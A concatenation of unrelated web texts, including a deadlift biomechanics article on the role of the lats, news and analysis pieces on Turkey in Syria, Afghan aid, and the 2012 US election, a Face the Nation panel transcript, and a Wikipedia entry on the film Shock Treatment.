We’ll see how Mercedes’ little run tomorrow turns out. Either way, F1 still won’t need louder engines. After all, this year’s engines are only 11 decibels quieter than the 2013 machinery or, in simpler terms, the equivalent to the sound of someone breathing when stood side by side. The megaphone isn’t necessary, so for those concerned fans the 2014 noise won’t get louder. But, it will definitely grow on them as the year progresses. Honest.
Thank you for reading. Support LWOS by following us on Twitter – @LastWordOnSport – and “liking” our Facebook page.
For the latest sports injury news, check out our friends at sports injury alert.Alleys are used by neighborhood residents for making shortcuts across town, stowing garbage, fixing cars, playing children's sidewalk games, and other domestic functions that often happen out of sight. But unlike official city streets, they don’t have names. There’s a vibrancy in these back alleys that pedestrians don’t encounter on the main thoroughfares of Minneapolis.What if we could name Minneapolis’s alleys? And instead of having them named for land developers, politicians, or in numerical order like our city streets, we could give them names that corresponded with our own experiences, memories, and stories? Andy Sturdevant's MAEP exhibition “Alley Atlas” is an invitation to name every alley in the city of Minneapolis, as chosen by you, the people that live or work near them every day.Using the desks and three wall maps in this gallery, visitors are welcome to select an alley near their home or place of work, and give it a name of their choosing using the provided pencils and labels.As the exhibition continues, the number of contributions will grow and the maps will show how the alleys have their own culture that runs parallel to the already familiar and well-named city streets.Also on display are some artworks from the MIA's permanent collection depicting historical alleys, as well as a guidebook on Minneapolis alleys, assembled from newspaper accounts, fiction, the city charter, and other sources.Ice-T, one of the pioneers of West Coast gangsta rap, has added his voice to the nation’s ongoing debate over gun control, saying he does not want more regulations on guns.
The rapper-actor was on Channel 4 London News to talk about his recently released directorial debut, “Something From Nothing: The Art of Rap,” when news broke about the mass killings at a screening of "Dark Knight Rises" in Colorado last week. He was then asked about his attitudes toward guns and why he defends the right to bear arms.
“I’ll give up my gun when everybody else does… if there were guns here, would you want to be the only one without one?” he asked.
PHOTOS: Scene of the shooting | Hollywood reacts
When asked by Channel 4 London’s Krishnan Guru-Murthy whether he had a gun at home, Ice-T told him he did, because “it’s legal in the United States. The right to bear arms is because that’s the last form of defense against tyranny, not to hunt. It’s to protect yourself from the police.”Despite the importance of the lats in the deadlift, their role is often misunderstood. Once you understand their function, it’s easier to use them optimally
I seem to have gotten a reputation as the dude who hates on lat training.
I don’t think that characterization is entirely fair. Thus far, I’ve really only delved into the role of the lats in the bench press on this site (tl;dr – they play a small stabilization role at best, and lat strength probably won’t ever limit your raw bench press).
However, while they don’t play much of a role in the bench press, they do certainly play a meaningful role in the deadlift, and I do certainly think you should train your lats.
Before we get rolling, I want to make it clear that the lats aren’t a prime mover in the deadlift – that title would apply primarily to your hip extensors, your spinal extensors to a slightly lesser degree, and your quads in the case of the sumo deadlift. However, even though your lats aren’t the star of the show, they do play a very important role, and properly engaging your lats will help you deadlift more weight.
In spite of the lats’ importance in the deadlift, the role of the lats in the deadlift is often misunderstood. People talk about how lat tension helps keep the back tight in the deadlift (the upper back especially), preventing it from rounding excessively, with the implication that the lats themselves help keep the upper back extended. However, the lats aren’t actually capable of producing a (meaningful) spinal extension moment since individual lat fibers don’t attach to multiple vertebrae (though their ability to tense the thoracolumbar fascia may play a very small role aiding in lumbar extension), and they certainly couldn’t help with keeping the upper back extended since they don’t have attachments on your higher thoracic vertebrae.
Instead, I think the idea of “lat tension” accomplishes a much more basic purpose: Instead of the lats actually helping keep the spine extended, repositioning the scapulae and engaging the lats actually work to decrease the required hip and spinal extension demands of the lift.
The hip extension moment arm in the conventional deadlift is the horizontal distance between the center of mass of the system (we’ll just assume mid-foot) and the hip joint. The biomechanics are slightly more complicated for the sumo deadlift, so this article will just illustrate with the conventional deadlift, though the same basic principles would apply to both variations.
By engaging the lats more, you can extend the shoulder a bit, letting your shoulders move slightly forward relative to the bar. This also lets your hips move slightly forward, decreasing the hip extension moment arm. Depressing the scapulae serves the same basic purpose: It doesn’t extend the shoulder, but it positions the shoulder joint itself a shade further down your torso, bringing it closer to the hips.
Now, don’t expect a night and day difference from these little tweaks. You’ll maybe get a 3-5% decrease in hip and lumbar extension demands in total. That’s definitely enough to help you pull a bit more, but not a night-and-day difference. However, the place it would make a big difference is your upper back, helping you keep your thoracic spine extended (or at least keeping it from flexing too much).
Here’s why: The hips are going to be at least 18-24 inches behind the bar through the first part of the pull, so engaging the lats and depressing the scapulae simply can’t make a huge difference at the hips. With near max loads, the position of the bar relative to the shoulder (and thus relative to the hip and every point along your spine) may only change by 1-2 inches. Yes, that’ll make a difference at the hips and lower back, but the difference would be pretty small (just assuming the hip extension moment arm was 20 inches before, reducing it by one inch would be a 5% decrease).
However, every thoracic vertebra is much closer to the shoulder than your hips or lumbar vertebra. If the T9/T10 junction was 5 inches behind the center of mass (the spinal extension moment arm at that joint) before engaging the lats and depressing the scapulae, it may only be 4 inches behind the center of mass after engaging the lats and depressing the scapulae, leading to a 20% reduction in thoracic extension demands at that joint. And if the T4/T5 junction was 1 inch behind the center of mass initially, after engaging the lats and depressing the scapulae, it may be in line with the center of mass, reducing the spinal extension demands at that joint (the middle/top of your thoracic spine) to nearly zero.
That should be pretty obvious from the image above. As joints get closer and closer to the red line (center of gravity), shoulder flexion (lat engagement) and scapular depression make a larger and larger relative difference.
This should explain the general observation that engaging the lats and depressing the scapulae help the upper back stay tight when deadlifting, even though the lats don’t actively extend the spine, and the position of your scapulae doesn’t impact how well your spine can extend. The simplest explanation is that the slight repositioning of the bar (and the slight repositioning of your body over the bar) via these strategies actually makes the lift a bit easier on your upper back by reducing the spinal flexion moment imposed by the bar.
If you read this site consistently, all of this should sound pretty familiar. It’s very similar to a previous discussion of bar position in the squat; while variations in bar position (high bar vs. low bar vs. front squat) don’t make a huge difference for the lower back and hips (assuming you use similar cues), they do dramatically affect the demands placed on the thoracic spinal extensors.
Some useful cues for engaging your lats and depressing your scapulae are “put your shoulder blades in your back pocket” (I think I picked this one up from Tony Gentilcore) and “pull the bar into your shins” (focus on doing so from the shoulder like a straight arm pulldown; it’s easy to just sit way back behind the bar so that it scrapes your shins). Just simply focusing on pointing your elbows toward the wall behind you tends to help as well. This article has some more good cues.
If you’re not quite sure what engaging your lats in the deadlift should feel like, here’s a great drill I learned from Dean Somerset:
You can even make this drill a little more specific by putting the band around your wrist to free up your hands, and actually doing your first few deadlift warmup sets with anterior band tension to get your lats firing in the deadlift.
Bar Path
This slight technique shift should also make the deadlift slightly more efficient, with a bit less front-to-back deviation in bar path.
The center of gravity for the system needs to stay over midfoot. If the bar hangs straight below your shoulder, more of your bodyweight will necessarily be behind the bar, meaning the bar will need to start a bit further in front of mid-foot, and the center of mass of your body will be a bit further behind mid-foot. As you lift, the bar will need to drift back toward your body as your hips extend and your body’s center of mass shifts forward.
By engaging your lats, depressing your scapulae, and extending your shoulders a bit, you’re repositioning your body’s mass forward slightly, allowing the bar to shift backward a bit at the start of the pull, positioning the center of masses for both the bar and your body closer to the system’s center of gravity. As you extend your hips, your body’s center of mass won’t need to shift forward quite as much, so the bar won’t need to drift back quite as much, leading to a more linear bar path.
Indeed, this has actually been studied with intermediate-level weightlifters (average deadlift max was ~170kg/375lbs, though the image below is from a subject with a 1rm of 275kg/605lbs). Starting with the shoulders slightly more extended and the bar slightly closer to the ankle yielded 43-44% less front-to-back movement of the barbell versus starting the pull with the bar slightly further forward, directly beneath the shoulder joint.
Now, it’s debatable whether a slightly more linear bar path really matters (since you’re trying to overcome gravity, which is pulling straight down, the additional effort required to move the bar front-to-back is negligible; as long as the system COM stays over mid-foot, deviations in bar path shouldn’t be a big deal), but if you’re more of a stickler about bar path than I am, this is another point in favor of actively engaging your lats in the deadlift.
Wrapping up
In conclusion, the primary role of the lats and scapular position in the deadlift is not to actively keep the upper back extended or “tight,” but rather to actively make the lift a bit easier on your entire posterior chain – a little easier for your hip extensors and lumbar extensors, and considerably easier for your thoracic extensors.
Engaging the lats in the deadlift seems to come fairly naturally for most people. Indeed, when you see a deadlift video dead on from the side (especially with experienced lifters), you’ll generally see that the bar is a bit behind the shoulder, meaning the lats must be engaged to extend the shoulder under load, even if the lifter isn’t consciously thinking about engaging their lats.
(This video shows a good example of how this looks with heavy weights: you’ll see that the bar isn’t very far behind the shoulder – because that would take ungodly strong lats – but it’s very clear that the bar isn’t directly under the shoulder until the bar passes the knee.)
However, if this is a topic you haven’t previously thought about much, it’s probably worth actively engaging your lats in your next few deadlift sessions to see if this little tweak helps the lift feel a bit easier, especially for your upper back. Make sure you don’t overdo this adjustment, though, shifting your weight way too far forward. Let your lat strength dictate where the bar goes, and the position of the rest of your body should naturally adjust accordingly.
If you want to get the most out of your lats in the deadlift, then you’d better train your lats! The heavier the weights get, the harder it is for you to extend your shoulder to a meaningful degree; the stronger your lats are, the more this little tweak will help you. Heavy rows of all sorts are your friend.
For even more deadlifting goodness, keep your eyes on Strengtheory for the next couple of weeks. I’m working toward finishing a big deadlift guide (in the same vein as the Squat and Bench guides) which should be out soon-ish. If you really want to fully understand the deadlift and improve your pull, you won’t want to miss it.
If you enjoyed this article, I bet you’ll also like two more from our archives:
Everything You Think is Wrong with Your Deadlift is Probably Right
Should You Deadlift Conventional or Sumo?
Spread the love Facebook
Twitter
LinkedIn
Reddit
Tumblr
Email
Pocket
More
Print
PinterestTurkey’s operation ‘Euphrates Shield’ that had originally begun as the operation to drive the Kurdish militias back to the eastern side of Euphrates River is now turning into a mission to create a ‘safe zone’ inside Syria to reinforce not only its own position in the region but also to buttress the Turkey-backed militias controlling the eastern part of Aleppo city. The decision has come at a time when US-Russia sponsored ceasefire has failed to hold and when battles on various fronts have once again escalated to the point of extremely heightened confrontation. This particular course of action is likely to put Turkey back on confrontation course with Syria and Russia and pave the way for the NATO forces’ direct entry in the conflict. Some recent most developments strongly indicate that things are now turning to this direction.
President Recep Erdogan redefined the scope of ‘Euphrates Shield’ in a major statement on Monday, September 19. Having first taken over the Syrian border towns of Jarablus al-Rab, Turkish troops are “now going down as far as al-Bab”, i.e., 30 kilometres further inside the Syrian territory, as he put it. Erdogan posed the question that is on everyone’s lips: “But why are you going down there?” Then, he offered an answer himself: “We need to rid these places from being a threat to us”. Simple though it looks, Turkey’s decision indicates the critical turn the Syrian-conflict is likely to take in the montsh to come.
One day after Erdogan’s announcement, the Turkish government submitted a motion to the parliament for extending the mandate authorizing the Turkish Armed Forces to take military action in Syria. The proposal seeks one more year authorization for the government to carry out cross-border military operations against “terrorist threats” and allows deployment of foreign troops on Turkish territory too.
The new plan, to put is simplest terms, is to create a safe zone in Syria the size of the Grand Canyon, a campaign that could be one of the biggest foreign military interventions in its modern history. Needless to say, Erdogan’s new plan involves political and military risks. Militarily, this plan implies deployment of thousands of Turkish soldiers in Syria for years and increase risks of a possible military confrontation with Syrian forces as also with its biggest allies: Russia and Iran. Politically, it is likely to put its relations with regional and extra-regional powers on an entangled path. Already, Erdogan has largely ignored the criticism from Moscow, Tehran and Damascus that the Turkish incursion is a violation of international law and an infringement of Syria’s sovereignty (read: Erdogan outlined this plan only four days after the visit by the Russian Chief of General Staff Gen. Valery Gerasimov to Ankara on September 15).
However, it is not this side of the conflict that Erdogan is set to annoy, his drive against Kurds, many believe, is also likely to further fracture Turkey’s relations with the US. However, given the lukewarm attitude of Western powers, including the US, towards the concept of ‘safe zone’, this is least likely to happen. It is so because Erdogan seems to have anticipated that when a zone actually materializes, its raison d’etre as a strategic foothold inside Syria will at once become obvious to NATO. Hence, the September 20 motion, which is most likely to be passed by the parliament in its upcoming session, to authorize deployment of foreign (NATO/US) troops in Turkey and the related authorization to use Turkish territory as a transit route too.
Needless to say, there is no love lost between Erdogan and Kurdish militias and Turkey’s moves directly indicate that its primary motivation is to contain the Kurdish militias in a corner. In the first week of September, Turkey’s defence minister said the YPG should not be allowed to lead any operation on Raqqa and that “local forces” should be used instead. He added that Turkey would not tolerate the YPG extending their territory “by using the Daesh operations as an excuse”.
On Tuesday, September 5, Erdogan was reported to have said he and the US president Barack Obama were seeking to work together to push ISIL out of Raqqa. But like Turkey’s fight for Jarabulus and towns on the Syrian border, the battle for Raqqa carries more significance for Erdogan than the removal of ISIL, for it is mainly about limiting the gains of the YPG and expanding Turkey’s influence in Syria.
“Raqqa is one of the issues the US and Turkey are currently discussing. We need to demonstrate our presence in the region. If not, the terrorist groups such as Daesh, the PKK and the Syrian offshoot the People’s Protection Units [YPG] will occupy the vacuum,” he said, according to the pro-government Daily Sabah newspaper.
This is quite evident that any on-the-ground involvement in the push for Raqqa by Turkey would bring its forces on to a battlefield that the YPG-dominated Syrian Democratic Forces (SDF) have long been contesting. The move could also see Turkey’s troops, along with the rebel groups it supports, passing through or near areas which Syrian Kurds regard as their heartland.
In this context, the current push for the control of al-Bab carries a double advantage for Ankara. Firstly, Ankara estimates that it would give a major push for its project to create a ‘safe zone’ inside Syria, which will be free of attack by Russian and Syrian jets or ground forces and become a de facto Turkish enclave. Secondly, it also estimates that the control of al-Bab, which is only 50 kilometres northeast of Aleppo city, would enable Turkey to significantly reinforce the rebel forces controlling the eastern part of Aleppo city.
The primary question that one must be asking is: what critical objective(s) Erdogan is seeking to materialize out of this expanded military presence in Syria? By pushing for the control of al-Bab, Raqqa and Aleppo city at the same, not only is Turkey planning to drive the Kurds out of the focus but also preparing to become a major negotiator/stakeholder, alongside and on part with US and Russia, in any final settlement of the conflict. How did Erdogan achieve this feat? Simply put, he has quite stealthily inserted Turkey into the crucial fault lines in regional politics by cunningly exploiting the geopolitical rivalry between the US and Russia in Syria and the related ‘great game’ unfolding in the Black Sea region. His plan, in this context, is to maintain enough Syrian territory under his occupation for as long as the new US president arrives next year and the agenda for “regime change” in Syria is reborn.
Salman Rafi Sheikh, research-analyst of International Relations and Pakistan’s foreign and domestic affairs, exclusively for the online magazine “New Eastern Outlook”.Meeting in Afghan capital billed as first step in 'paradigm shift' under which Kabul must deliver real progress in return for aid
After years of lavish spending in support of the now-waning military mission in Afghanistan, the west on Wednesday embarked on an attempt to reset its relationship with Kabul, demanding measurable progress in return for aid cash.
Afghanistan has been promised around $8bn (£5.2bn) a year in military and development spending after foreign troops leave in 2014. But Nato governments say the aid money comes with strings attached.
A meeting on Wednesday in the Afghan capital aimed to be the first step in this "paradigm shift", grading the country on progress towards goals agreed last year in Tokyo.
But the assessment was sombre, despite praise for an unexpectedly "realistic" discussion. Only three of 17 benchmarks had been met in full, one western official said, and Afghanistan's president, Hamid Karzai, was notable by his absence from a high-profile meeting held just a stone's throw from his palace.
Failures picked over include parliament's dithering over election laws that could result in the country going into a crucial presidential poll next year with no legal framework, the feeble sentences handed to the masterminds of the $900m Kabul Bank scandal and slow progress on asset recovery.
Donors were also unhappy with Karzai's unilateral choice of new members of the country's well respected human rights watchdog. One is a former member of the Taliban, another said she hopes to run for president and a third is a former police general.
The big question for Afghan officials keen to keep the cash flowing is what, if anything, the west plans to do about these failures. The last 10 years have been a catalogue of red lines drawn in the sand and then washed away, with criticism coming and going but funds staying more or less constant.
Diplomats insist that is now changing, and the attitude of Afghan bureaucrats, who have been largely impervious to outside pressure, will have to change as well.
"There is a paradigm shift underway in our relationship with Afghanistan and it is critical everyone is aware of that," said a western official. "It's about teaching Afghans to readjust themselves, as the times of complacency are gone."
Last year in Tokyo Afghan and international diplomats hammered out a "mutual accountability" pact. It committed the west to long-term support, but Afghanistan to substantial change in return, particularly tackling corruption and protecting democracy and women's rights.
For Washington and its allies much is at stake, primarily their hopes of leaving a government credible enough to hold onto power when Nato's military might is gone. They also need leaders who can justify unprecedented aid spending on a single country.
"We have said again and again, progress is needed for us to be able to justify sustained levels of support," said one US official.
Those concerns put human rights and elections top of the agenda in Kabul. If next year's presidential poll goes smoothly it be the first peaceful transfer of power in Afghanistan since 1901. "A free and fair election still remains the primary benchmark," said Mark Bowden, deputy head of the UN in Afghanistan, after the meeting ended.
For the Afghan government too the stakes are high. For all its much-vaunted independence as the "graveyard of empires", most of Afghanistan's rulers since the 19thh century have been dependent on foreign cash, skilfully playing off bigger powers to extract revenue in the form of development cash or straight-up subsidies and arms deliveries.
The current one is no exception. Revenues have already started falling on the back of Nato's downsizing, making foreign cash even more important.
And while divided about when to use carrots and sticks, the international community has made some first tentative moves towards punishing failure. The EU recently held back €20m ( £17m) earmarked for a justice programme. Donors are eyeing other controls, and warn that Kabul will have to work harder at meeting the Tokyo goals.
"There was a lot of emphasis on the current extraordinary levels of aid. Faster progress with reforms, tackling corruption and especially ensuring credible elections are all essential if these levels of aid are to be sustained," another western diplomat said after the meeting.On The Campaign Trail, Regulations Dominate The Environmental Debate
Enlarge this image toggle caption Charlie Riedel/AP Charlie Riedel/AP
In previous elections, candidates from both parties have campaigned on pledges to be environmental presidents. This time, neither candidate is talking much about cleaning up the air or protecting scenic lands.
Instead, the debate has focused on whether and how much environmental regulations hurt businesses, especially the energy industry.
Mostly it's been GOP candidate Mitt Romney criticizing President Obama for what he sees as overzealous environmental regulations that strangle the economic recovery.
Environmental Rules
Despite progress over recent decades, America's environmental ills are not solved. Air pollution in many areas still contributes to lots of asthma attacks and premature deaths from heart and lung failure. And dirty water in streams across the nation still makes some fish dangerous to eat.
Although the president doesn't talk up his environmental record much, his administration enacted long-delayed rules that could go a long way to cleaning up the toxic air pollution from burning coal to make electricity.
"Because we're acting, emissions of mercury and other pollutants, which cause a range of health problems, including neurological damage in children, will decrease significantly," Obama said in December, when the rules were announced.
These requirements were originally mandated by Congress and the first President Bush in 1990.
During Obama's tenure, the Environmental Protection Agency also started limiting greenhouse gases from new coal-fired power plants.
Obama argues that he can clean up pollution and boost the economy. For instance, Americans are getting jobs making pollution-control devices for power plants and components for hybrid and electric cars.
Hurting The Economy?
But Republicans and some energy executives criticize these and other Obama administration environmental rules, saying they make it difficult to get permits to build new projects and create jobs.
On the campaign trail, Romney repeatedly says Obama's regulations are strangling the economic recovery.
"The president has made it almost impossible, virtually impossible, to build a coal-fired facility in this country," Romney said recently in Virginia's coal country. "I want to keep using our coal. We get a lot of it. I want to use it."
Romney has said he would help businesses by taking a "weed whacker" to the president's regulations on coal and other industries.
In Iowa this week, he warned farmers that four more years of Obama could mean regulations on runoff, pesticides and even dust.
"The regulatory burden under this administration has just gone crazy," Romney said.
Making Changes
But even if he's elected, Romney couldn't just snap his fingers and get rid of those regulations. His EPA appointees would have to propose rule changes, give the public time to comment on them, and present detailed scientific and legal justifications to prove that undoing or weakening the rules make sense.
"I think that will certainly be done. But it's not something that can be done overnight," says Jeff Holmstead, an industry lawyer who headed EPA's air pollution programs under the second President Bush.
Holmstead supports Romney and is very familiar with his policies. The Romney campaign refused to provide an interview for this story.
Even if Romney were to undo the regulations, there would be another hurdle: Environmental groups surely would sue. Lawsuits from environmental groups effectively blocked the second President Bush's EPA from weakening some clean air rules.
"If you take a hard right turn on an environmental rule — or for that matter, a hard left turn — you've got strict constructionist judges who are going to say no, and they're on the federal courts today," says Kevin Book, director of ClearView Energy Partners, a Washington-based energy consulting firm.
Book says the federal judges who oversee EPA rules most likely would prevent big changes, regardless of who wins the election.
That's because the pollution rules at the center of this debate aren't just ideas Obama and his EPA came up with. They can be decades in the making or ordered by the federal courts. They're called for in environmental laws passed by bipartisan majorities in Congress — laws such as the Clean Air Act, which was first signed by President Nixon and strengthened by the first President Bush, both Republicans.
Still, if Romney were elected, there are ways he could move quickly to make things easier for industry — such as by streamlining permit requirements and easing enforcement or environmental rules.
This worries environmentalists.
"A President Romney could starve the agencies of money needed to enforce existing public health safeguards — in effect, take the environmental cop off the beat," says Dan Weiss, a volunteer adviser to the Obama campaign and a fellow at the action fund for the Center for American Progress, a left-leaning think tank.
Although Obama has not spent much time in his campaign talking about his environmental record, he did take a moment in his convention speech to criticize Romney's approach.
Obama said Romney's attitude is: "If a company releases toxic pollution into the air your children breathe — well, that's the price of progress."
Obama said he disagrees. "You know what? That's not who we are. That's not what this country's about," the president said.
If Obama wins a second term, his challenge will be to prove that he can revive the job market while continuing to reduce pollution and promote green energy.June is almost here, and this means that in less than two months our 2nd Nordic Go Academy Summer Camp will start. And you may think…
What’s so cool about this Summer Camp you are talking about?
Well, there are many interesting things about our camp. In no particular order:
Wide range of participants (from 4 dan all the way down to 10k, so far 23 participants from all over the world)
Very affordable (just 175€ if paid before June, 200€ if paid in June and 225€ if paid in July, hurry and sign up!)
It’s in Finland. If you hate roasting in Summer, it’s the perfect place to be
We’ll have a Korean 8p as a guest (Cho Mikyung,) she will give lectures and play games with camp participants
There are tsumego assignments (you are free to do them or not, 3 different levels to choose from) but the best “solver” gets a book as a prize
The teachers are good & experienced
There’s a side tournament on the last day to see how your go skills have improved
How is it organised?
This year’s camp is organised similarly to last year’s. The life of a student (from Sunday 14th July until Friday 18th July) is more or less:
Wake up at around 8-8:30 AM, take a walk, run or whatever. Eat breakfast until 9:30 AM, maybe with some game while sipping coffee. Or starting to solve the tsumego assignments already!
, take a walk, run or whatever. Eat breakfast until 9:30 AM, maybe with some game while sipping coffee. Or starting to solve the tsumego assignments already! From |
think it's the same. But it has the same populist feel, it's coming from a different place, but it's...
SMILEY: See, I don't think it's populist, I think it's vitriol, I think..
GOLDBERG: On policy Donald Trump is...
(CROSSTALK)
GOLDBERG:...is doing something else entirely.
PAGE: They are appealing to people who are ticked off, right, in their own parties about how things are going.
DICKERSON: Susan how much of a threat, though, is it for the Republican Party. There are lot of Democrats who are saying, either they're a, happy, or more -- saying that is hurting the Republicans. Is it really hurting the party or is this one of those things...
PAGE: Oh, absolutely. I think it is.
I think Donald Trump is a big threat to the Republicans' chances of winning the White House next year, because he is defining the party as a party that is really harsh on Hispanic voters that Republicans need to do better about, and because the other candidates are not rebuking him in a serious way. You don't have -- one of the serious contenders have been saying in a really forthright way this is not where we are because he makes them a little nervous.
SMILEY: And I'm surprised that Jeb Bush, John, hasn't doesn't done that. I mean, it's so tailor made for him especially.
(CROSSTALK)
DICKERSON: He could do it some. I was wonder -- because he did try and make a distinction. I mean, he did make a distinction with Trump. He called him out on comments, said it doesn't represent the party. Is there a way in which that Trump, by throwing a wrench into the works, forces Jeb Bush to say here is exactly what we believe, which ends up helping Jeb Bush.
SMILEY: I think it's -- if we're talking moral conviction and righteous indignation, Jeb Bush ought to have been the person to have done this sooner than right now and quicker than at once, number one.
Number two, it's not just about pushing Trump back because he's wrong on the issue, again this is about moral conviction.
Here is a question I want to just put out here, if a black presidential candidate had used the unrepentant Dylann Roof in Charleston, South Carolina, to bash every white male in the country the way this rich white elitist Donald Trump has used a murder in San Francisco to bash the entire undocumented worker community, would the media have cover understand story the way they did? Would it have the legs that it's had? I'm telling you that it's the worst day I think -- it's bad example, rather, of our profession in the way we've covered this Donald Trump story this week.
This would not have happened if anybody else had been bashing an entire community the way that Donald Trump has. The media wouldn't have jumped on the story that way, they would have killed it.
DICKERSON: Jeffrey, let me ask you a question about Donald Trump and the Republican Party, isn't the worry that he becomes an independent? Not that he stayed -- I mean, there's a worry about what he might do to the party, but it also happens if he left the party?
GOLDMAN: Well, there's a sure way to guarantee that Hillary Clinton becomes president of the United States, which is to have Donald Trump run as an independent. He can be the Ross Perot of this cycle.
Look, he has tremendous power to draw media attention, draw these crowds of angry people. He could really do damage to the Republicans that way, and I think that is probably one of the concerns.
It doesn't mitigate the fact that from a moral perspective, yes, and from a -- they have to come out and say, look, you can't talk about Mexicans this way.
SMILEY: What we're talking about now, Jeffrey, though, is the politics of the way that Donald has done what he's done this week. What I'm talking about is the lack of moral consciousness on the part of those who cover this story for letting someone get away with pushing -- hold on -- pushing a narrative where the facts are in controvertible. There is no link between undocumented workers and a spike in crime.
And the fact that we've cover this story like it's a real issue is asinine. GOLDBERG: But it's more than man that, even, because if you actually watch the speech that he gave yesterday -- I mean, this is a guy who steams like he's ready to launch a drone attack on Macy's.
I mean, you know, we haven't seen the media cover this in all of its eccentricity, let's say, to be polite. And I think that is part of the issue that you might be getting at which is, wait a second, this guy is not Bernie Sanders, he's not giving a policy prescription, not giving policy critique. He's stream of consciousness, vitriol, anger, it's like a freestyle -- it's not normal in the course of events.
DICKERSON: Peggy, weigh in here.
NOONAN: Well, my gosh, there's so much to say about Trump we almost need two hours on him.
I think two things are being overlooked about him. One, what he is saying to people apart from the issues you raise, very important, I've written about them. I think we all have. But he's looking at an American people who for 15 years have been looking at Washington and saying, do us a favor, for now, just get control of the border. Then we'll talk about how we deal with all of our immigration laws. They have been looking at Washington saying, please do this, and no matter who is in power in Washington, Washington will not do that to the satisfaction of the American people.
Second thing, we should not forget that Trump is talking about jobs -- Mexico and jobs. It's a huge issue. We have entrenched an unemployment problem here.
DICKERSON: And he's channeling a lot of that frustration that Bernie Sanders is, even though Sanders doesn't want the association.
I'm going to have to -- Tavis.
NOONAN: But that's some serious stuff...
DICKERSON: I'm going to have interrupt both of you. We're going to go away. We'll be right back. So, stick with us. We'll be right back with our panel with more.
(COMMERCIAL BREAK)
DICKERSON: And we're back with more from our panel.
Jeffrey, I want to talk to you about this emerging Iranian deal. We don't know what the details of it are. But I talked to Senator Cotton about what would happen if the president had walked away. He believes that tougher sanctions would have brought Iran back to the table with under better terms.
Walk us through the alternative explanation if the president had just walked away?
GOLDBERG: Well, this is the saving grace of the Obama administration right now, is that no one has come up with a plausible alternative to this deal that doesn't lead to open confrontation, possibly regional war.
Now, we don't know what's going on inside the negotiations, we don't -- just like when you buy a car, you walk out thinking, I don't know, maybe I could have gotten that for $400 less. You'll never really know what you got. But -- and we don't know the deal yet.
But the answer Republicans give is, well, they should have gotten a harder deal. We don't know if they could have gotten a harder or a better deal on this, to tell you the truth.
But the problem the Republicans will have going forward is, if you reject this deal, the Iranians will be free to go to nuclear breakout. The president has said that he will not allow them to get a nuclear weapon, one plus one equals two. You're talking about military confrontation. Military confrontation does not solve your problem; it opens up possibly a whole new set of problems, including constant warfare, not only in the Persian Gulf but across the Middle East and terrorism internationally.
So until they come up with a solution to this, that doesn't lead to another full-on military confrontation in the Persian Gulf, the Obama administration has certain arguments on its side.
DICKERSON: Susan, what do you expect, if there is a deal, how this will play out in the campaign, in the presidential campaign?
PAGE: Well, we should be clear that we don't know what the deal is. And when the framework agreement came out, it was better deal than Americans -- than we had all expected than the conventional wisdom had been.
I think it's an issue, it will be an issue. It'll be a partisan issue, I would expect. I would expect Hillary Clinton to think it's was a pretty good deal and the Republicans to think it's not a very good deal.
And the question may come down, we -- I think we're confident, from what Senator Cotton told you, that there will be a resolution of disapproval submitted in the Senate. Likely to pass, might get 60 votes. And then the question will be for President Obama, does he veto it and force them to come up with even more votes to disapprove of this deal?
And if he does that, that means he is passing this deal on the basis of perhaps as few as 34 votes in the Senate and that is a risky problem.
DICKERSON: Can a president do that, Peggy?
Doesn't -- he needs the kind of -- he needs Congress behind him.
NOONAN: It is always good to have Congress behind you. You know what I think will be part of how this plays out? I kind of think people sense with President Obama, that, when he's in negotiations, Cuba, Iran, whoever, he always signals that he needs it too much. He always puts his face on it. He always has people leak, this is very important to us, it's part of our legacy, stuff like that.
That's not a good negotiating approach. The deal in the end may be good in a way; I don't think we're going to know. It's going to be a guesswork. But it will always have that overlay of he always wants it too much.
DICKERSON: You've talk to the president a lot, Jeffrey.
Where do you think his head is on this?
GOLDBERG: Well, you know, this is so interesting, talking about legacy. I think that if the deal turns out to be stronger that we thought -- remember, he blew past the deadline. He didn't cave to the Iranians when they wanted -- they said this is the deadline, and we said, no, we're going to keep going.
If that is, I think you can actually credit gay marriage in a kind of strange way for a tougher deal. I mean, the president needs a legacy now less than he used to because of his momentous week a couple of weeks ago. The trade deal and ObamaCare and the Supreme Court, gay marriage, et cetera.
So I think his legacy, from their perspective in the White House, is set already. And I think that you might see this deal be somewhat tougher, I'm hoping, at least, that you see this deal being somewhat tougher because the president might be thinking now that he needs this slightly less than he used to.
I will grant you that they do signal that they want this a little bit too much.
(CROSSTALK)
GOLDBERG: But this is now slightly less important from a political perspective than it used to be.
SMILEY: See, Peggy, what I thought you were going to say was that this White House has --
NOONAN: You were nodding as I spoke.
(CROSSTALK)
SMILEY: I believe -- and this is what Republicans -- they have a point, that this president, this administration has done a really bad job since day one in negotiations from health care on down of negotiating against themselves. And I think that has been a problem consistent, number one.
Having said that, though, I think your point leads me to this conclusion, which is that there is going to have to be a deal here.
And I think, Jeffrey, this deal is too big to fail. We've put so much on this now --
(CROSSTALK) DICKERSON: That's the last word.
Thank you all very much. Thanks for joining us. We'll be right back.
(COMMERCIAL BREAK)
DICKERSON: That's it for us today. Thanks for watching. Until next week for FACE THE NATION, I'm John Dickerson.This article is about the 1981 musical comedy film. For other uses of the term "shock treatment", including other films with the same name, see Shock therapy
Shock Treatment is a 1981 American dark comedy musical film directed by Jim Sharman, and co-written by Sharman and Richard O'Brien. It is a follow-up to the 1975 film The Rocky Horror Picture Show.
While not an outright sequel, the film does feature several characters from the previous film, most portrayed by different actors, as well as several Rocky Horror actors in new roles. The film stars Jessica Harper as Janet and Cliff De Young in a dual role as Brad and the film's main antagonist Farley Flavors, with O'Brien and Patricia Quinn playing sibling character actors.
Given a limited release on the midnight movie circuit beginning on October 30, 1981, Shock Treatment was a critical and commercial failure, not earning the same level of cult film status its predecessor received. Since its release, the film has grown a more minor cult following than its predecessor. In 2015, the film was adapted as a stage production in London.
Plot [ edit ]
Continuing from The Rocky Horror Picture Show are the characters of Brad and Janet Majors (now portrayed by Cliff De Young and Jessica Harper, respectively), now married. The film takes place in the town of Denton, USA, which has been taken over by fast food magnate Farley Flavors (also De Young). The town of Denton is entirely encased within a television studio for the DTV (Denton Television) network. Residents are either stars and regulars on a show, cast and crew, or audience members. Brad and Janet, seated in the audience, are chosen to participate in the game show Marriage Maze by the kooky, supposedly blind host Bert Schnick (Barry Humphries). As a "prize", Brad is imprisoned on Dentonvale, a soap opera that centers upon the local mental hospital run by brother and sister Cosmo and Nation McKinley (Richard O'Brien and Patricia Quinn).
